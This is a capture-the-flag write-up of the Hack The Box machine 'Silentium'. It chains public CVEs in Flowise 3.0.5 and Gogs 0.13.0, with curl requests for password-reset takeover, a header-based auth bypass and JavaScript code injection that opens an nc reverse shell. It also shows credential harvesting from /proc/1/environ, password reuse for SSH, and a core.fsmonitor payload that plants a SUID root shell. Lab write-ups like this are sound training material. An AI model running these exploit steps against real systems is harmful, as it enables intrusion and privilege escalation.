Hackthebox: Silentium
Overview
Silentium is an easy-difficulty Linux machine from Hack The Box with the following scenario: vhost enumeration to find a staging subdomain running Flowise 3.0.5 -> abuse CVE-2025-58434 (password reset token disclosure) to take over [email protected] -> bypass the login API with the x-request-from: internal header -> grab the Flowise API key -> abuse CVE-2025-59528 (CustomMCP code injection) to get RCE inside a Docker container -> dump /proc/1/environ and reuse the leaked SMTP_PASSWORD for ben’s SSH -> discover Gogs 0.13.0 running as root on localhost -> abuse CVE-2025-8110 (symlink bypass) to overwrite .git/config with a core.fsmonitor payload -> drop a SUID bash -> root.

Reconnaissance
We start off with our usual full-port nmap scan:
1 | nmap -sC -sV -p- --min-rate 5000 10.129.31.12 |
1 | PORT STATE SERVICE VERSION |
Nothing crazy here, just the usual SSH on port 22 and an nginx web server on port 80.
Web Application - http://silentium.htb/
After adding silentium.htb to our /etc/hosts and browsing to it, we land on a corporate page for “Silentium — Institutional Capital & Lending Solutions”. Inspecting the page also leaks a team member email, [email protected], which we’ll want to keep in mind.
Doing some vhost enumeration reveals a staging subdomain, so let’s add it too:
1 | echo "10.129.31.12 silentium.htb staging.silentium.htb" >> /etc/hosts |
Browsing to http://staging.silentium.htb gives us a Flowise instance running version 3.0.5 — an open-source AI agent builder. That version number is our starting point.
Foothold — CVE-2025-58434: Flowise Password Reset Token Disclosure
After some googling around Flowise 3.0.5, we find that it is vulnerable to CVE-2025-58434, a critical authentication bypass. The /api/v1/account/forgot-password endpoint returns the password reset tempToken directly in the HTTP response instead of mailing it out — so anyone can reset any account’s password.
We already have [email protected] from the main site, so let’s request a reset for him and see what comes back:
1 | curl -s -X POST http://staging.silentium.htb/api/v1/account/forgot-password \ |
The response hands us the full user object, tempToken and all. The token expires quickly, so instead of copy-pasting it around we just pipe both requests together and reset the password in one shot:
1 | curl -s -X POST http://staging.silentium.htb/api/v1/account/forgot-password \ |
A successful response returns the updated user object, which confirms ben’s password is now Password123!.
Now we need to actually log in. One thing to note here: Flowise gates its login API behind the x-request-from: internal header. Without it, every API route just throws back a 401 Unauthorized. Adding it lets us authenticate:
1 | curl -s -c /tmp/cookies.txt -X POST http://staging.silentium.htb/api/v1/auth/login \ |
This sets a token cookie (a JWT) which gets saved into /tmp/cookies.txt for us to reuse. With the session in hand, we can pull the Flowise API key, which we’ll need for the RCE step:
1 | curl -s -b /tmp/cookies.txt http://staging.silentium.htb/api/v1/apikey \ |
1 | [{"id":"dbb137c0-...","apiKey":"hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc","keyName":"DefaultKey",...}] |
RCE — CVE-2025-59528: Flowise CustomMCP Code Injection
Flowise 3.0.5 has a second nasty bug: CVE-2025-59528, a critical RCE in the CustomMCP node. The mcpServerConfig parameter gets passed through the convertToValidJSONString function, which — instead of parsing JSON safely — uses Function('return ' + inputString)() to evaluate our input as raw JavaScript. That’s a sandbox escape waiting to happen, since we can reach Node.js modules like child_process from there.
Let’s start a listener first:
1 | nc -lvnp 4444 |
Then we fire off the payload, using the API key we just grabbed as the Bearer token:
1 | curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \ |
And we get a callback as the Flowise user!
User Flag — Docker Escape via Password Reuse
Our shell lands us inside a Docker container running Flowise, which isn’t going to give us the user flag on its own. But containers love leaking their secrets through environment variables, and PID 1’s environment is readable at /proc/1/environ:
1 | cat /proc/1/environ | tr '\0' '\n' |
1 | FLOWISE_USERNAME=ben |
A few passwords here, but the interesting one is SMTP_PASSWORD=r04D!!_R4ge. Since ben is a real user on the host, let’s try that password against SSH:
1 | ssh [email protected] |
And it works. Password reuse for the win. Let’s grab the user flag:
1 | cat /home/ben/user.txt |
1 | c16d8609ba09e1db9b070ad669fbc639 |
Privilege Escalation — CVE-2025-8110: Gogs Symlink RCE
Now on to root. While enumerating listening services on the host, I noticed something bound to localhost on port 3001:
1 | ss -tlnp | grep 3001 |
1 | LISTEN 0 4096 127.0.0.1:3001 0.0.0.0:* |
Checking the nginx config confirms there’s a third vhost proxying to it:
1 | cat /etc/nginx/sites-enabled/* |
1 | server { |
This is a Gogs instance (a self-hosted git service). The really juicy part comes from its config at /opt/gogs/gogs/custom/conf/app.ini:
1 | RUN_USER = root |
Gogs is running as root and stores its repositories under /root. If we can get it to execute something for us, that’s an instant win. Gogs 0.13.0 happens to be vulnerable to CVE-2025-8110, a symlink-bypass in the file update API that lets us overwrite arbitrary files and, chaining with core.fsmonitor, run commands as root.
Let’s reach the service. We can either add the vhost:
1 | echo "10.129.31.12 staging-v2-code.dev.silentium.htb" >> /etc/hosts |
Or just tunnel it over SSH, which is what I did:
1 | ssh -L 3001:127.0.0.1:3001 [email protected] |
First we need an account. Navigate to http://localhost:3001/user/sign_up, solve the captcha and register:
- Username:
hacker - Password:
Hacker123! - Email:
[email protected]
Now we generate an API token for our new user:
1 | curl -s -X POST http://localhost:3001/api/v1/users/hacker/tokens \ |
1 | {"name":"exploit","sha1":"12f67ac5148e8c84c732adddc7389fe678e4de3a"} |
Then create a repo to work in:
1 | TOKEN="<your-token>" |
The core of the exploit is a symlink. We clone the empty repo, push an initial file, then commit a symlink named malicious_link that points at .git/config:
1 | git clone "http://hacker:Hacker123!@localhost:3001/hacker/$REPO.git" /tmp/$REPO |
The symlink now lives in the git tree. Here’s the bug: the file update API (PUT /api/v1/repos/:owner/:repo/contents/:path) doesn’t check whether the target path is a symlink before writing to it. So when we tell Gogs to update malicious_link, the OS follows the link and writes our content straight into .git/config of the server’s working directory.
We craft a config that sets core.fsmonitor to our command. The fsmonitor hook is invoked by git during normal operations like git status and git add — exactly the kind of thing Gogs runs internally when it processes a file update. Our payload copies bash and slaps the SUID bit on it:
1 | PAYLOAD=$(printf '[core]\n\trepositoryformatversion = 0\n\tfilemode = true\n\tbare = false\n\tfsmonitor = "cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash"\n[remote "origin"]\n\turl = /root/gogs-repositories/hacker/%s.git\n\tfetch = +refs/heads/*:refs/remotes/origin/*\n' "$REPO" | base64 -w0) |
The server throws back a 500 Internal Server Error, which is exactly what we want to see. Behind the scenes .git/config got overwritten with our fsmonitor payload, and when Gogs ran its follow-up git operations (git add, git commit), the hook fired and executed our command as root.
Let’s check for our SUID bash:
1 | ls -la /tmp/rootbash |
1 | -rwsr-xr-x 1 root root 1446024 Apr 15 10:35 /tmp/rootbash |
There it is. We run it with -p to keep the effective root privileges and read the root flag:
1 | /tmp/rootbash -p -c "cat /root/root.txt" |
1 | b85a15a1177498ca6fd52147e0006002 |
And that’s a wrap on Silentium. Thanks for reading!
- 0xkujen
- Title: Hackthebox: Silentium
- Author: Foued SAIDI
- Created at : 2026-09-17 16:40:22
- Updated at : 2026-09-17 21:39:57
- Link: https://kujen5.github.io/2026/09/17/Hackthebox-Silentium/
- License: This work is licensed under CC BY-NC-SA 4.0.